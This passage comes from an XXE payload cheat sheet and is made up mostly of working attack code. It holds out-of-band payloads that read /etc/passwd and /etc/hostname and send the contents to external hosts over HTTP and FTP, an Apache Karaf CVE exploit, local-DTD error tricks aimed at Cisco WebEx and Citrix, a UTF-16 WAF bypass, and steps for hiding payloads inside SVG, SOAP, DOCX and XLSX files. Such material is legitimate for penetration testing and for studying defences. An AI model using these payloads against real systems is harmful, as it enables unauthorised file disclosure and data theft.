<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="cp"><!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"></span>
|
||
<a id="__codelineno-26-3" name="__codelineno-26-3" href="#__codelineno-26-3"></a><span class="nt"><data></span><span class="ni">&send;</span><span class="nt"></data></span>
|
||
<a id="__codelineno-26-4" name="__codelineno-26-4" href="#__codelineno-26-4"></a>
|
||
<a id="__codelineno-26-5" name="__codelineno-26-5" href="#__codelineno-26-5"></a>File<span class="w"> </span>stored<span class="w"> </span>on<span class="w"> </span>http://publicServer.com/parameterEntity_oob.dtd
|
||
<a id="__codelineno-26-6" name="__codelineno-26-6" href="#__codelineno-26-6"></a><span class="cp"><!ENTITY % file SYSTEM "file:///sys/power/image_size"></span>
|
||
<a id="__codelineno-26-7" name="__codelineno-26-7" href="#__codelineno-26-7"></a><span class="cp"><!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'></span>">
|
||
<a id="__codelineno-26-8" name="__codelineno-26-8" href="#__codelineno-26-8"></a>%all;
|
||
</code></pre></div>
|
||
<h3 id="xxe-oob-with-dtd-and-php-filter">XXE OOB with DTD and PHP filter</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="cp"><?xml version="1.0" ?></span>
|
||
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="cp"><!DOCTYPE r [</span>
|
||
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="cp"><!ELEMENT r ANY ></span>
|
||
<a id="__codelineno-27-4" name="__codelineno-27-4" href="#__codelineno-27-4"></a><span class="cp"><!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml"></span>
|
||
<a id="__codelineno-27-5" name="__codelineno-27-5" href="#__codelineno-27-5"></a>%sp;
|
||
<a id="__codelineno-27-6" name="__codelineno-27-6" href="#__codelineno-27-6"></a>%param1;
|
||
<a id="__codelineno-27-7" name="__codelineno-27-7" href="#__codelineno-27-7"></a>]>
|
||
<a id="__codelineno-27-8" name="__codelineno-27-8" href="#__codelineno-27-8"></a><span class="nt"><r></span><span class="ni">&exfil;</span><span class="nt"></r></span>
|
||
<a id="__codelineno-27-9" name="__codelineno-27-9" href="#__codelineno-27-9"></a>
|
||
<a id="__codelineno-27-10" name="__codelineno-27-10" href="#__codelineno-27-10"></a>File<span class="w"> </span>stored<span class="w"> </span>on<span class="w"> </span>http://127.0.0.1/dtd.xml
|
||
<a id="__codelineno-27-11" name="__codelineno-27-11" href="#__codelineno-27-11"></a><span class="cp"><!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"></span>
|
||
<a id="__codelineno-27-12" name="__codelineno-27-12" href="#__codelineno-27-12"></a><span class="cp"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'></span>">
|
||
</code></pre></div>
|
||
<h3 id="xxe-oob-with-apache-karaf">XXE OOB with Apache Karaf</h3>
|
||
<p>CVE-2018-11788 affecting versions:</p>
|
||
<ul>
|
||
<li>Apache Karaf <= 4.2.1</li>
|
||
<li>Apache Karaf <= 4.1.6</li>
|
||
</ul>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
|
||
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="cp"><!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"></span><span class="w"> </span>%dtd;]
|
||
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="nt"><features</span><span class="w"> </span><span class="na">name=</span><span class="s">"my-features"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://karaf.apache.org/xmlns/features/v1.3.0"</span><span class="w"> </span><span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
|
||
<a id="__codelineno-28-4" name="__codelineno-28-4" href="#__codelineno-28-4"></a><span class="w"> </span><span class="na">xsi:schemaLocation=</span><span class="s">"http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0"</span><span class="nt">></span>
|
||
<a id="__codelineno-28-5" name="__codelineno-28-5" href="#__codelineno-28-5"></a><span class="w"> </span><span class="nt"><feature</span><span class="w"> </span><span class="na">name=</span><span class="s">"deployer"</span><span class="w"> </span><span class="na">version=</span><span class="s">"2.0"</span><span class="w"> </span><span class="na">install=</span><span class="s">"auto"</span><span class="nt">></span>
|
||
<a id="__codelineno-28-6" name="__codelineno-28-6" href="#__codelineno-28-6"></a><span class="w"> </span><span class="nt"></feature></span>
|
||
<a id="__codelineno-28-7" name="__codelineno-28-7" href="#__codelineno-28-7"></a><span class="nt"></features></span>
|
||
</code></pre></div>
|
||
<p>Send the XML file to the <code>deploy</code> folder.</p>
|
||
<p>Ref. <a href="https://github.com/brianwrf/CVE-2018-11788">brianwrf/CVE-2018-11788</a></p>
|
||
<h2 id="xxe-with-local-dtd">XXE with local DTD</h2>
|
||
<p>In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="cp"><!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'></span>]>
|
||
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="nt"><root></span><span class="ni">&test;</span><span class="nt"></root></span>
|
||
</code></pre></div></p>
|
||
<p>If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="cp"><!DOCTYPE root [</span>
|
||
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="cp"> <!ENTITY % local_dtd SYSTEM "file:///abcxyz/"></span>
|
||
<a id="__codelineno-30-3" name="__codelineno-30-3" href="#__codelineno-30-3"></a>
|
||
<a id="__codelineno-30-4" name="__codelineno-30-4" href="#__codelineno-30-4"></a><span class="w"> </span>%local_dtd;
|
||
<a id="__codelineno-30-5" name="__codelineno-30-5" href="#__codelineno-30-5"></a>]>
|
||
<a id="__codelineno-30-6" name="__codelineno-30-6" href="#__codelineno-30-6"></a><span class="nt"><root></root></span>
|
||
</code></pre></div>
|
||
<p>Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="cp"><!DOCTYPE root [</span>
|
||
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="cp"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"></span>
|
||
<a id="__codelineno-31-3" name="__codelineno-31-3" href="#__codelineno-31-3"></a>
|
||
<a id="__codelineno-31-4" name="__codelineno-31-4" href="#__codelineno-31-4"></a><span class="w"> </span><span class="cp"><!ENTITY % ISOamsa '</span>
|
||
<a id="__codelineno-31-5" name="__codelineno-31-5" href="#__codelineno-31-5"></a><span class="cp"> <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ"></span>
|
||
<a id="__codelineno-31-6" name="__codelineno-31-6" href="#__codelineno-31-6"></a><span class="w"> </span><span class="cp"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;></span>">
|
||
<a id="__codelineno-31-7" name="__codelineno-31-7" href="#__codelineno-31-7"></a><span class="w"> </span><span class="ni">&#x25;</span>eval;
|
||
<a id="__codelineno-31-8" name="__codelineno-31-8" href="#__codelineno-31-8"></a><span class="w"> </span><span class="ni">&#x25;</span>error;
|
||
<a id="__codelineno-31-9" name="__codelineno-31-9" href="#__codelineno-31-9"></a><span class="w"> </span>'>
|
||
<a id="__codelineno-31-10" name="__codelineno-31-10" href="#__codelineno-31-10"></a>
|
||
<a id="__codelineno-31-11" name="__codelineno-31-11" href="#__codelineno-31-11"></a><span class="w"> </span>%local_dtd;
|
||
<a id="__codelineno-31-12" name="__codelineno-31-12" href="#__codelineno-31-12"></a>]>
|
||
<a id="__codelineno-31-13" name="__codelineno-31-13" href="#__codelineno-31-13"></a><span class="nt"><root></root></span>
|
||
</code></pre></div>
|
||
<h3 id="cisco-webex">Cisco WebEx</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
|
||
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
|
||
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a>%local_dtd;
|
||
</code></pre></div>
|
||
<h3 id="citrix-xenmobile-server">Citrix XenMobile Server</h3>
|
||
<p><div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
|
||
<a id="__codelineno-33-2" name="__codelineno-33-2" href="#__codelineno-33-2"></a><!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
|
||
<a id="__codelineno-33-3" name="__codelineno-33-3" href="#__codelineno-33-3"></a>%local_dtd;
|
||
</code></pre></div>
|
||
<a href="https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md">Other payloads using different DTDs</a></p>
|
||
<h2 id="waf-bypasses">WAF Bypasses</h2>
|
||
<h3 id="bypass-via-character-encoding">Bypass via character encoding</h3>
|
||
<p>XML parsers uses 4 methods to detect encoding:
|
||
* HTTP Content Type: <code>Content-Type: text/xml; charset=utf-8</code>
|
||
* Reading Byte Order Mark (BOM)
|
||
* Reading first symbols of document
|
||
* UTF-8 (3C 3F 78 6D)
|
||
* UTF-16BE (00 3C 00 3F)
|
||
* UTF-16LE (3C 00 3F 00)
|
||
* XML declaration: <code><?xml version="1.0" encoding="UTF-8"?></code></p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>Encoding</th>
|
||
<th>BOM</th>
|
||
<th>Example</th>
|
||
<th></th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>UTF-8</td>
|
||
<td>EF BB BF</td>
|
||
<td>EF BB BF 3C 3F 78 6D 6C</td>
|
||
<td>...<?xml</td>
|
||
</tr>
|
||
<tr>
|
||
<td>UTF-16BE</td>
|
||
<td>FE FF</td>
|
||
<td>FE FF 00 3C 00 3F 00 78 00 6D 00 6C</td>
|
||
<td>...<.?.x.m.l</td>
|
||
</tr>
|
||
<tr>
|
||
<td>UTF-16LE</td>
|
||
<td>FF FE</td>
|
||
<td>FF FE 3C 00 3F 00 78 00 6D 00 6C 00</td>
|
||
<td>..<.?.x.m.l.</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p><strong>Example</strong>: We can convert the payload to <code>UTF-16</code> using <a href="https://man7.org/linux/man-pages/man1/iconv.1.html">iconv</a> to bypass some WAF:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a>cat<span class="w"> </span>utf8exploit.xml<span class="w"> </span><span class="p">|</span><span class="w"> </span>iconv<span class="w"> </span>-f<span class="w"> </span>UTF-8<span class="w"> </span>-t<span class="w"> </span>UTF-16BE<span class="w"> </span>><span class="w"> </span>utf16exploit.xml
|
||
</code></pre></div>
|
||
<h2 id="xxe-in-java">XXE in Java</h2>
|
||
<p>Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:</p>
|
||
<p><img alt="XXE Java security features overview infographics" src="https://semgrep.dev/docs/assets/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png" /></p>
|
||
<ul>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory">DocumentBuilderFactory (javax.xml.parsers.DocumentBuilderFactory)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3b-saxbuilder">SAXBuilder (org.jdom2.input.SAXBuilder)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3c-saxparserfactory">SAXParserFactory (javax.xml.parsers.SAXParserFactory)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3d-saxparser">SAXParser (javax.xml.parsers.SAXParser )</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3e-saxreader">SAXReader (org.dom4j.io.SAXReader)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3f-transformerfactory--saxtransformerfactory">TransformerFactory (javax.xml.transform.TransformerFactory) & SAXTransformerFactory (javax.xml.transform.sax.SAXTransformerFactory)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3g-schemafactory">SchemaFactory (javax.xml.validation.SchemaFactory)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3h-validator">Validator (javax.xml.validation.Validator)</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/#3i-xmlreader">XMLReader (org.xml.sax.XMLReader)</a></li>
|
||
</ul>
|
||
<p>Ref.</p>
|
||
<ul>
|
||
<li><a href="https://semgrep.dev/blog/2022/xml-security-in-java">Semgrep - XML Security in Java</a></li>
|
||
<li><a href="https://semgrep.dev/docs/cheat-sheets/java-xxe/">Semgrep - XML External entity prevention for Java</a></li>
|
||
</ul>
|
||
<h2 id="xxe-in-exotic-files">XXE in exotic files</h2>
|
||
<h3 id="xxe-inside-svg">XXE inside SVG</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="nt"><svg</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span><span class="w"> </span><span class="na">width=</span><span class="s">"300"</span><span class="w"> </span><span class="na">version=</span><span class="s">"1.1"</span><span class="w"> </span><span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
|
||
<a id="__codelineno-35-2" name="__codelineno-35-2" href="#__codelineno-35-2"></a><span class="w"> </span><span class="nt"><image</span><span class="w"> </span><span class="na">xlink:href=</span><span class="s">"expect://ls"</span><span class="w"> </span><span class="na">width=</span><span class="s">"200"</span><span class="w"> </span><span class="na">height=</span><span class="s">"200"</span><span class="nt">></image></span>
|
||
<a id="__codelineno-35-3" name="__codelineno-35-3" href="#__codelineno-35-3"></a><span class="nt"></svg></span>
|
||
</code></pre></div>
|
||
<p><strong>Classic</strong></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a><span class="cp"><?xml version="1.0" standalone="yes"?></span>
|
||
<a id="__codelineno-36-2" name="__codelineno-36-2" href="#__codelineno-36-2"></a><span class="cp"><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" ></span><span class="w"> </span>]>
|
||
<a id="__codelineno-36-3" name="__codelineno-36-3" href="#__codelineno-36-3"></a><span class="nt"><svg</span><span class="w"> </span><span class="na">width=</span><span class="s">"128px"</span><span class="w"> </span><span class="na">height=</span><span class="s">"128px"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span><span class="w"> </span><span class="na">version=</span><span class="s">"1.1"</span><span class="nt">></span>
|
||
<a id="__codelineno-36-4" name="__codelineno-36-4" href="#__codelineno-36-4"></a><span class="w"> </span><span class="nt"><text</span><span class="w"> </span><span class="na">font-size=</span><span class="s">"16"</span><span class="w"> </span><span class="na">x=</span><span class="s">"0"</span><span class="w"> </span><span class="na">y=</span><span class="s">"16"</span><span class="nt">></span><span class="ni">&xxe;</span><span class="nt"></text></span>
|
||
<a id="__codelineno-36-5" name="__codelineno-36-5" href="#__codelineno-36-5"></a><span class="nt"></svg></span>
|
||
</code></pre></div>
|
||
<p><strong>OOB via SVG rasterization</strong></p>
|
||
<p><em>xxe.svg</em></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="cp"><?xml version="1.0" standalone="yes"?></span>
|
||
<a id="__codelineno-37-2" name="__codelineno-37-2" href="#__codelineno-37-2"></a><span class="cp"><!DOCTYPE svg [</span>
|
||
<a id="__codelineno-37-3" name="__codelineno-37-3" href="#__codelineno-37-3"></a><span class="cp"><!ELEMENT svg ANY ></span>
|
||
<a id="__codelineno-37-4" name="__codelineno-37-4" href="#__codelineno-37-4"></a><span class="cp"><!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml"></span>
|
||
<a id="__codelineno-37-5" name="__codelineno-37-5" href="#__codelineno-37-5"></a>%sp;
|
||
<a id="__codelineno-37-6" name="__codelineno-37-6" href="#__codelineno-37-6"></a>%param1;
|
||
<a id="__codelineno-37-7" name="__codelineno-37-7" href="#__codelineno-37-7"></a>]>
|
||
<a id="__codelineno-37-8" name="__codelineno-37-8" href="#__codelineno-37-8"></a><span class="nt"><svg</span><span class="w"> </span><span class="na">viewBox=</span><span class="s">"0 0 200 200"</span><span class="w"> </span><span class="na">version=</span><span class="s">"1.2"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="na">style=</span><span class="s">"fill:red"</span><span class="nt">></span>
|
||
<a id="__codelineno-37-9" name="__codelineno-37-9" href="#__codelineno-37-9"></a><span class="w"> </span><span class="nt"><text</span><span class="w"> </span><span class="na">x=</span><span class="s">"15"</span><span class="w"> </span><span class="na">y=</span><span class="s">"100"</span><span class="w"> </span><span class="na">style=</span><span class="s">"fill:black"</span><span class="nt">></span>XXE<span class="w"> </span>via<span class="w"> </span>SVG<span class="w"> </span>rasterization<span class="nt"></text></span>
|
||
<a id="__codelineno-37-10" name="__codelineno-37-10" href="#__codelineno-37-10"></a><span class="w"> </span><span class="nt"><rect</span><span class="w"> </span><span class="na">x=</span><span class="s">"0"</span><span class="w"> </span><span class="na">y=</span><span class="s">"0"</span><span class="w"> </span><span class="na">rx=</span><span class="s">"10"</span><span class="w"> </span><span class="na">ry=</span><span class="s">"10"</span><span class="w"> </span><span class="na">width=</span><span class="s">"200"</span><span class="w"> </span><span class="na">height=</span><span class="s">"200"</span><span class="w"> </span><span class="na">style=</span><span class="s">"fill:pink;opacity:0.7"</span><span class="nt">/></span>
|
||
<a id="__codelineno-37-11" name="__codelineno-37-11" href="#__codelineno-37-11"></a><span class="w"> </span><span class="nt"><flowRoot</span><span class="w"> </span><span class="na">font-size=</span><span class="s">"15"</span><span class="nt">></span>
|
||
<a id="__codelineno-37-12" name="__codelineno-37-12" href="#__codelineno-37-12"></a><span class="w"> </span><span class="nt"><flowRegion></span>
|
||
<a id="__codelineno-37-13" name="__codelineno-37-13" href="#__codelineno-37-13"></a><span class="w"> </span><span class="nt"><rect</span><span class="w"> </span><span class="na">x=</span><span class="s">"0"</span><span class="w"> </span><span class="na">y=</span><span class="s">"0"</span><span class="w"> </span><span class="na">width=</span><span class="s">"200"</span><span class="w"> </span><span class="na">height=</span><span class="s">"200"</span><span class="w"> </span><span class="na">style=</span><span class="s">"fill:red;opacity:0.3"</span><span class="nt">/></span>
|
||
<a id="__codelineno-37-14" name="__codelineno-37-14" href="#__codelineno-37-14"></a><span class="w"> </span><span class="nt"></flowRegion></span>
|
||
<a id="__codelineno-37-15" name="__codelineno-37-15" href="#__codelineno-37-15"></a><span class="w"> </span><span class="nt"><flowDiv></span>
|
||
<a id="__codelineno-37-16" name="__codelineno-37-16" href="#__codelineno-37-16"></a><span class="w"> </span><span class="nt"><flowPara></span><span class="ni">&exfil;</span><span class="nt"></flowPara></span>
|
||
<a id="__codelineno-37-17" name="__codelineno-37-17" href="#__codelineno-37-17"></a><span class="w"> </span><span class="nt"></flowDiv></span>
|
||
<a id="__codelineno-37-18" name="__codelineno-37-18" href="#__codelineno-37-18"></a><span class="w"> </span><span class="nt"></flowRoot></span>
|
||
<a id="__codelineno-37-19" name="__codelineno-37-19" href="#__codelineno-37-19"></a><span class="nt"></svg></span>
|
||
</code></pre></div>
|
||
<p><em>xxe.xml</em></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-38-1" name="__codelineno-38-1" href="#__codelineno-38-1"></a><span class="cp"><!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"></span>
|
||
<a id="__codelineno-38-2" name="__codelineno-38-2" href="#__codelineno-38-2"></a><span class="cp"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'></span>">
|
||
</code></pre></div>
|
||
<h3 id="xxe-inside-soap">XXE inside SOAP</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-39-1" name="__codelineno-39-1" href="#__codelineno-39-1"></a><span class="nt"><soap:Body></span>
|
||
<a id="__codelineno-39-2" name="__codelineno-39-2" href="#__codelineno-39-2"></a><span class="w"> </span><span class="nt"><foo></span>
|
||
<a id="__codelineno-39-3" name="__codelineno-39-3" href="#__codelineno-39-3"></a><span class="w"> </span><span class="cp"><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></span>
|
||
<a id="__codelineno-39-4" name="__codelineno-39-4" href="#__codelineno-39-4"></a><span class="w"> </span><span class="nt"></foo></span>
|
||
<a id="__codelineno-39-5" name="__codelineno-39-5" href="#__codelineno-39-5"></a><span class="nt"></soap:Body></span>
|
||
</code></pre></div>
|
||
<h3 id="xxe-inside-docx-file">XXE inside DOCX file</h3>
|
||
<p>Format of an Open XML file (inject the payload in any .xml file):</p>
|
||
<ul>
|
||
<li>/_rels/.rels</li>
|
||
<li>[Content_Types].xml</li>
|
||
<li>Default Main Document Part</li>
|
||
<li>/word/document.xml</li>
|
||
<li>/ppt/presentation.xml</li>
|
||
<li>/xl/workbook.xml</li>
|
||
</ul>
|
||
<p>Then update the file <code>zip -u xxe.docx [Content_Types].xml</code></p>
|
||
<p>Tool : https://github.com/BuffaloWill/oxml_xxe</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-40-1" name="__codelineno-40-1" href="#__codelineno-40-1"></a>DOCX/XLSX/PPTX
|
||
<a id="__codelineno-40-2" name="__codelineno-40-2" href="#__codelineno-40-2"></a>ODT/ODG/ODP/ODS
|
||
<a id="__codelineno-40-3" name="__codelineno-40-3" href="#__codelineno-40-3"></a>SVG
|
||
<a id="__codelineno-40-4" name="__codelineno-40-4" href="#__codelineno-40-4"></a>XML
|
||
<a id="__codelineno-40-5" name="__codelineno-40-5" href="#__codelineno-40-5"></a>PDF<span class="w"> </span>(experimental)
|
||
<a id="__codelineno-40-6" name="__codelineno-40-6" href="#__codelineno-40-6"></a>JPG<span class="w"> </span>(experimental)
|
||
<a id="__codelineno-40-7" name="__codelineno-40-7" href="#__codelineno-40-7"></a>GIF<span class="w"> </span>(experimental)
|
||
</code></pre></div>
|
||
<h3 id="xxe-inside-xlsx-file">XXE inside XLSX file</h3>
|
||
<p>Structure of the XLSX:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-41-1" name="__codelineno-41-1" href="#__codelineno-41-1"></a>$ 7z l xxe.xlsx
|
||
<a id="__codelineno-41-2" name="__codelineno-41-2" href="#__codelineno-41-2"></a>[...]
|
||
<a id="__codelineno-41-3" name="__codelineno-41-3" href="#__codelineno-41-3"></a> Date Time Attr Size Compressed Name
|
||
<a id="__codelineno-41-4" name="__codelineno-41-4" href="#__codelineno-41-4"></a>------------------- ----- ------------ ------------ ------------------------
|
||
<a id="__codelineno-41-5" name="__codelineno-41-5" href="#__codelineno-41-5"></a>2021-10-17 15:19:00 ..... 578 223 _rels/.rels
|
||
<a id="__codelineno-41-6" name="__codelineno-41-6" href="#__codelineno-41-6"></a>2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
|
||
<a id="__codelineno-41-7" name="__codelineno-41-7" href="#__codelineno-41-7"></a>2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
|
||
<a id="__codelineno-41-8" name="__codelineno-41-8" href="#__codelineno-41-8"></a>2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
|
||
<a id="__codelineno-41-9" name="__codelineno-41-9" href="#__codelineno-41-9"></a>2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
|
||
<a id="__codelineno-41-10" name="__codelineno-41-10" href="#__codelineno-41-10"></a>2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
|
||
<a id="__codelineno-41-11" name="__codelineno-41-11" href="#__codelineno-41-11"></a>2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
|
||
<a id="__codelineno-41-12" name="__codelineno-41-12" href="#__codelineno-41-12"></a>2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
|
||
<a id="__codelineno-41-13" name="__codelineno-41-13" href="#__codelineno-41-13"></a>2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
|
||
<a id="__codelineno-41-14" name="__codelineno-41-14" href="#__codelineno-41-14"></a>------------------- ----- ------------ ------------ ------------------------
|
||
<a id="__codelineno-41-15" name="__codelineno-41-15" href="#__codelineno-41-15"></a>2021-10-17 15:19:00 11216 3586 9 files
|
||
</code></pre></div>
|
||
<p>Extract Excel file: <code>7z x -oXXE xxe.xlsx</code></p>
|
||
<p>Rebuild Excel file:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-42-1" name="__codelineno-42-1" href="#__codelineno-42-1"></a>$ cd XXE
|
||
<a id="__codelineno-42-2" name="__codelineno-42-2" href="#__codelineno-42-2"></a>$ 7z u ../xxe.xlsx *
|
||
</code></pre></div>
|
||
<p>Add your blind XXE payload inside <code>xl/workbook.xml</code>.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-43-1" name="__codelineno-43-1" href="#__codelineno-43-1"></a><span class="cp"><?xml version="1.0" encoding="UTF-8" standalone="yes"?></span>
|
||
<a id="__codelineno-43-2" name="__codelineno-43-2" href="#__codelineno-43-2"></a><span class="cp"><!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd"></span>%asd;%c;]>
|
||
<a id="__codelineno-43-3" name="__codelineno-43-3" href="#__codelineno-43-3"></a><span class="nt"><cdl></span><span class="ni">&rrr;</span><span class="nt"></cdl></span>
|
||
<a id="__codelineno-43-4" name="__codelineno-43-4" href="#__codelineno-43-4"></a><span class="nt"><workbook</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.openxmlformats.org/spreadsheetml/2006/main"</span><span class="w"> </span><span class="na">xmlns:r=</span><span class="s">"http://schemas.openxmlformats.org/officeDocument/2006/relationships"</span><span class="nt">></span>
|
||
</code></pre></div>
|
||
<p>Alternativly, add your payload in <code>xl/sharedStrings.xml</code>:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-44-1" name="__codelineno-44-1" href="#__codelineno-44-1"></a><span class="cp"><?xml version="1.0" encoding="UTF-8" standalone="yes"?></span>
|
||
<a id="__codelineno-44-2" name="__codelineno-44-2" href="#__codelineno-44-2"></a><span class="cp"><!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd"></span>%asd;%c;]>
|
||
<a id="__codelineno-44-3" name="__codelineno-44-3" href="#__codelineno-44-3"></a><span class="nt"><sst</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.openxmlformats.org/spreadsheetml/2006/main"</span><span class="w"> </span><span class="na">count=</span><span class="s">"10"</span><span class="w"> </span><span class="na">uniqueCount=</span><span class="s">"10"</span><span class="nt">><si><t></span><span class="ni">&rrr;</span><span class="nt"></t></si><si><t></span>testA2<span class="nt"></t></si><si><t></span>testA3<span class="nt"></t></si><si><t></span>testA4<span class="nt"></t></si><si><t></span>testA5<span class="nt"></t></si><si><t></span>testB1<span class="nt"></t></si><si><t></span>testB2<span class="nt"></t></si><si><t></span>testB3<span class="nt"></t></si><si><t></span>testB4<span class="nt"></t></si><si><t></span>testB5<span class="nt"></t></si></sst></span>
|
||
</code></pre></div>
|
||
<p>Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
|
||
Instead we build the document once and then change the DTD.
|
||
And using FTP instead of HTTP allows to retrieve much larger files.</p>
|
||
<p><code>xxe.dtd</code></p>
|
||
